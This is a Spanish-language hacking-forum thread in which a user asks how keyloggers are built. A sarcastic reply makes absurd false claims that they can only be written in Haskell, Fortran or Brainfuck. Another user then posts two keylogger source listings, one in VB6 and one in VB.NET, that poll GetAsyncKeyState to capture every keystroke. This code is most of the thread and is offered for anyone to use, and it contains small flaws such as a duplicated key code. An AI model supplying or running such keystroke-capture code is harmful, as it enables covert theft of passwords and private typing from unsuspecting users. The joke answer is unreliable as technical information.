 Autor
|
Tema: Ayuda con keylog (Leído 2,986 veces)
|
147852
 Desconectado
Mensajes: 1
|
Hola gente del foro, quiero postear esta duda:
¿Como esta estructurado un keylogger y en que lenguages se pueden hacer?
Si me pasan links es mejor, me puse a buscar en el foro y encontre solo de troyanos
Gracias
|
|
|
|
|
En línea
|
|
|
|
|
engel lex
|
solo se puede hacer en haskell con módulos de control en fortran o en brainfuck, se basa en el análisis paralelo de procesamiento del procesador con respecto a la generación de variables de tipo char en la memoria dinámica del sistema operativo...
en google hay ejemplos y códigos para tirar para el techo y mucha información sobre este tema, muchos explicados al mínimo detalle y en español...
|
|
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
scott_
Desconectado
Mensajes: 458
Mientras luches, ya eres un ganador
|
Es un control time: '
'Módulo estándar basKeyLogger.bas
'
Option Explicit
Public bLogEnabled As Boolean
Function GetActiveKey() As Integer
Static bStarted As Boolean
Dim i%
If Not bStarted Then
'Inicializa el estado de las teclas llamando a
'la función GetAsyncKeyState.
'
For i = 1 To 256
Call GetAsyncKeyState(i)
Next
bStarted = True
End If
For i = 1 To 256
'Obtiene la tecla pulsada actualmente.
'
If GetAsyncKeyState(i) Then
GetActiveKey = i
Exit For
End If
Next
End Function
Sub StopLog()
bLogEnabled = False
End Sub
Sub LogKeys()
Dim snTimer!
Dim iActiveKey%
Dim sChar$, sData$
bLogEnabled = True
Do While bLogEnabled
snTimer = Timer
Do While (Timer - snTimer) < 0.125
'Espera 125 milisegundos hasta
'la próxima pulsación.
Loop
iActiveKey = GetActiveKey
Select Case iActiveKey
Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
sChar = Chr$(iActiveKey)
sData = sData & sChar
Case vbKeyReturn
'Imprime lo que tiene en el buffer.
'
Debug.Print sData
sData = vbNullString
Case Else
'Verifica otras teclas.
End Select
Loop
End Sub
Éste es otro:
Imports System.Runtime.InteropServices
-----------------------------------------------------------------
Public Class Form1
Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short
Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short
Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14
Private ChangeChr(255) As String
---------------------------------------------------------------------
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
'Letras
Dim i As Integer
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
If GetAsyncKeyState(VK_SHIFT) > 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
Exit Sub
Else
RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
Exit Sub
Else
RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'Numeros
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
If GetAsyncKeyState(VK_SHIFT) < 0 Then
RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i)
Exit Sub
Else
RichTextBox1.Text = RichTextBox1.Text & Chr(i)
Exit Sub
End If
End If
Next
'Espacio
If GetAsyncKeyState(32) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + " "
End If
'Enter
If GetAsyncKeyState(13) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] "
End If
'Esc
If GetAsyncKeyState(27) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Esc] "
End If
'Izquierda
If GetAsyncKeyState(37) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Izq] "
End If
'Arriba
If GetAsyncKeyState(38) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Arriba] "
End If
'Derecha
If GetAsyncKeyState(39) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Der] "
End If
'Abajo
If GetAsyncKeyState(40) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Abajo] "
End If
'Print Screen
If GetAsyncKeyState(44) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] "
End If
'Re Pag
If GetAsyncKeyState(33) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] "
End If
'Av Pag
If GetAsyncKeyState(34) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] "
End If
'Fin Pag
If GetAsyncKeyState(35) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] "
End If
'Inicio Pag
If GetAsyncKeyState(36) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] "
End If
'Supr
If GetAsyncKeyState(46) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Supr] "
End If
'Insert
If GetAsyncKeyState(45) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Insert] "
End If
'F1
If GetAsyncKeyState(112) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F1] "
End If
'F2
If GetAsyncKeyState(113) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F2] "
End If
'F3
If GetAsyncKeyState(114) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F3] "
End If
'F4
If GetAsyncKeyState(115) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F4] "
End If
'F5
If GetAsyncKeyState(116) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F5] "
End If
'F6
If GetAsyncKeyState(117) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F6] "
End If
'F7
If GetAsyncKeyState(118) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F7] "
End If
'F8
If GetAsyncKeyState(119) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F8] "
End If
'F9
If GetAsyncKeyState(120) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F9] "
End If
'F10
If GetAsyncKeyState(121) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F10] "
End If
'F11
If GetAsyncKeyState(122) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F11] "
End If
'F12
If GetAsyncKeyState(123) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [F12] "
End If
'Alt
If GetAsyncKeyState(164) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Alt] "
End If
'Num Lock
If GetAsyncKeyState(144) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] "
End If
'Bloq mayús
If GetAsyncKeyState(20) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] "
End If
'ñ
If GetAsyncKeyState(164) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & "ñ"
End If
'Ñ
If GetAsyncKeyState(240) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & "Ñ"
End If
'"."
If GetAsyncKeyState(190) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & "."
End If
'","
If GetAsyncKeyState(188) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & ","
End If
'"Alt Gr"
If GetAsyncKeyState(165) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] "
End If
'"Del"
If GetAsyncKeyState(8) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Del] "
End If
'"Tab"
If GetAsyncKeyState(9) = -32767 Then
RichTextBox1.Text = RichTextBox1.Text & " [Tab] "
End If
End Sub |
|
|
|
« Última modificación: 17 Julio 2014, 09:04 am por owl-eyes »
|
En línea
|
Si no intentas salvar una vida, jamás salvarás la de nadie más
|
|
|
|
 |
